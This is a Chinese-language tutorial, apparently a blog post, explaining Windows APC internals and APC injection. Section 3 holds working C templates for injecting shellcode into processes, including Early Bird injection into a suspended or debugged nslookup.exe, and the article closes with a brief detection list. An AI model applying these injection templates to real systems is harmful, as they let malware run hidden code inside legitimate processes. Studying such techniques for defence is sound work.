从APC到APC注入
字数 1191 2025-08-22 12:23:06
Windows APC机制与APC注入技术详解
1. APC基础概念
APC(Asynchronous Procedure Calls,异步过程调用)是Windows提供的一种机制,允许在特定线程上下文中异步执行函数。APC分为两种模式:
- 用户模式APC:在用户空间执行
- 内核模式APC:在内核空间执行
1.1 内核数据结构
APC相关的关键数据结构位于_KTHREAD中:
struct _KTHREAD {
_KAPC_STATE ApcState; // 存储APC状态
UCHAR Alerted[2]; // 内核和用户是否处于可警告状态
ULONG Alertable; // 是否可被唤醒
ULONG ApcQueueable; // 是否允许APC插入队列
_KAPC_STATE *ApcStatePointer[2]; // 存储ApcState和SavedApcState
UCHAR ApcStateIndex; // 是否挂靠
ULONG ApcInterruptRequest; // 此线程是否能执行APC
SHORT KernelApcDisable; // 关闭内核APC
SHORT SpecialApcDisable; // 关闭紧急APC
};
_KAPC_STATE结构包含:
struct _KAPC_STATE {
LIST_ENTRY ApcListHead[2]; // 内核和用户APC链表
KPROCESS *Process; // 挂靠的进程
BOOLEAN KernelApcInProgress; // 内核APC是否正在执行
BOOLEAN KernelApcPending; // 内核APC链表中是否有值
BOOLEAN UserApcInProgress; // 用户APC是否正在执行
BOOLEAN UserApcPending; // 用户APC链表中是否有值
};
1.2 APC结构
struct _KAPC {
UCHAR Type; // 0x0
UCHAR SpareByte0; // 0x1
UCHAR Size; // 0x2
UCHAR SpareByte1; // 0x3
ULONG SpareLong0; // 0x4
struct _KTHREAD *Thread; // 所属线程
struct _LIST_ENTRY ApcListEntry; // 链表项
VOID (*KernelRoutine)(struct _KAPC *arg1, VOID (**arg2)(VOID *arg1, VOID *arg2, VOID *arg3), VOID **arg3, VOID **arg4, VOID **arg5); // 内核回调
VOID (*RundownRoutine)(struct _KAPC *arg1); // 清理回调
VOID (*NormalRoutine)(VOID *arg1, VOID *arg2, VOID *arg3); // 常规APC回调
VOID *NormalContext; // 常规上下文
VOID *SystemArgument1; // 系统参数1
VOID *SystemArgument2; // 系统参数2
CHAR ApcStateIndex; // _KAPC_ENVIRONMENT枚举值
CHAR ApcMode; // 用户还是内核
UCHAR Inserted; // 是否被插入过
};
1.3 APC环境枚举
typedef enum _KAPC_ENVIRONMENT {
OriginalApcEnvironment, // 插入到不挂靠的环境
AttachedApcEnvironment, // 插入到挂靠的环境(初始化时插入)
CurrentApcEnvironment, // 当前环境
InsertApcEnvironment // 初始化时不插入,调用insertApc时判断
} KAPC_ENVIRONMENT;
2. APC初始化与插入
2.1 初始化APC
VOID KeInitializeApc(
__out PRKAPC Apc,
__in PRKTHREAD Thread,
__in KAPC_ENVIRONMENT Environment,
__in PKKERNEL_ROUTINE KernelRoutine,
__in_opt PKRUNDOWN_ROUTINE RundownRoutine,
__in_opt PKNORMAL_ROUTINE NormalRoutine,
__in_opt KPROCESSOR_MODE ApcMode,
__in_opt PVOID NormalContext
);
2.2 插入APC队列
BOOLEAN KeInsertQueueApc(
__inout PRKAPC Apc,
__in_opt PVOID SystemArgument1,
__in_opt PVOID SystemArgument2,
__in KPRIORITY Increment
);
KeInsertQueueApc内部调用KiInsertQueueApc,根据条件将APC插入到对应链表中:
-
内核APC:
- 如果没有
NormalContext,是紧急内核APC,插入链表头部紧急区域尾部 - 否则直接插入链表尾部
- 如果没有
-
用户APC:
- 如果没有
NormalRoutine且KernelRoutine为PsExitSpecialApc地址,插入到头部紧急区域头部
- 如果没有
2.3 APC执行流程
APC的实际执行在KiDeliverApc中完成:
- 遍历APC链表,逐一取出并调用
- 先调用紧急APC,然后是内核APC,最后进入用户模式APC
- 紧急APC的IRQL等级是2,线程切换无法打断
3. APC注入技术
3.1 可警告状态
线程通过调用某些API进入可警告状态(Alertable=1):
WaitForSingleObjectWaitForMultipleObjectsSleepEx
3.2 基本APC注入
使用QueueUserAPC函数将用户模式APC对象添加到指定线程的APC队列:
#include <Windows.h>
#include <iostream>
void CALLBACK test(ULONG_PTR Parameter) {
MessageBox(0, 0, 0, 0);
}
int main() {
QueueUserAPC(test, GetCurrentThread(), 0);
SleepEx(1000, TRUE);
}
3.3 基于NtTestAlert的注入
typedef NTSTATUS(NTAPI* pNtTestAlert)();
void ntAlertApc() {
pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTestAlert");
DWORD dwOldProtection = NULL;
LPVOID lpMem = NULL;
lpMem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(lpMem, shellcode, sizeof(shellcode));
VirtualProtect(lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
QueueUserAPC((PAPCFUNC)lpMem, GetCurrentThread(), 0);
NtTestAlert();
}
3.4 Early Bird APC注入
创建进程时指定CREATE_SUSPENDED标志,使进程挂起:
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
LPVOID lpMem;
ULONG dwBytesWritten;
DWORD dwOldProtection;
CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"),
NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
lpMem = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, lpMem, shellcode, sizeof(shellcode), &dwBytesWritten);
VirtualProtectEx(pi.hProcess, lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
QueueUserAPC((PAPCFUNC)lpMem, pi.hThread, 0);
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hThread, -1);
3.5 基于调试的Early Bird APC注入
创建进程时指定DEBUG_PROCESS标志:
CreateProcess(NULL, _wcsdup(L"C:\\Windows\\System32\\nslookup.exe"),
NULL, NULL, false, DEBUG_PROCESS, NULL, NULL, &si, &pi);
lpMem = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, lpMem, shellcode, sizeof(shellcode), &dwBytesWritten);
VirtualProtectEx(pi.hProcess, lpMem, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &dwOldProtection);
QueueUserAPC((PAPCFUNC)lpMem, pi.hThread, 0);
DebugActiveProcessStop(pi.dwProcessId);
4. 关键API
-
SleepEx:
DWORD SleepEx( DWORD dwMilliseconds, BOOL bAlertable ); -
QueueUserAPC:
DWORD QueueUserAPC( PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData ); -
NtTestAlert:
NTSTATUS NtTestAlert(VOID);
5. 防御与检测
APC注入技术可以被以下方式检测和防御:
- 监控可疑的APC队列操作
- 检查线程的Alertable状态异常修改
- 检测Early Bird技术创建的挂起进程
- 监控调试器附加行为
- 使用ETW(Event Tracing for Windows)跟踪APC活动
6. 总结
APC机制是Windows系统中强大的异步执行机制,既可用于合法用途,也可被恶意软件利用进行代码注入。理解APC的内部工作原理对于系统开发人员和安全研究人员都至关重要。通过深入分析_KTHREAD和_KAPC等内核数据结构,可以更好地理解APC的执行流程和注入技术原理。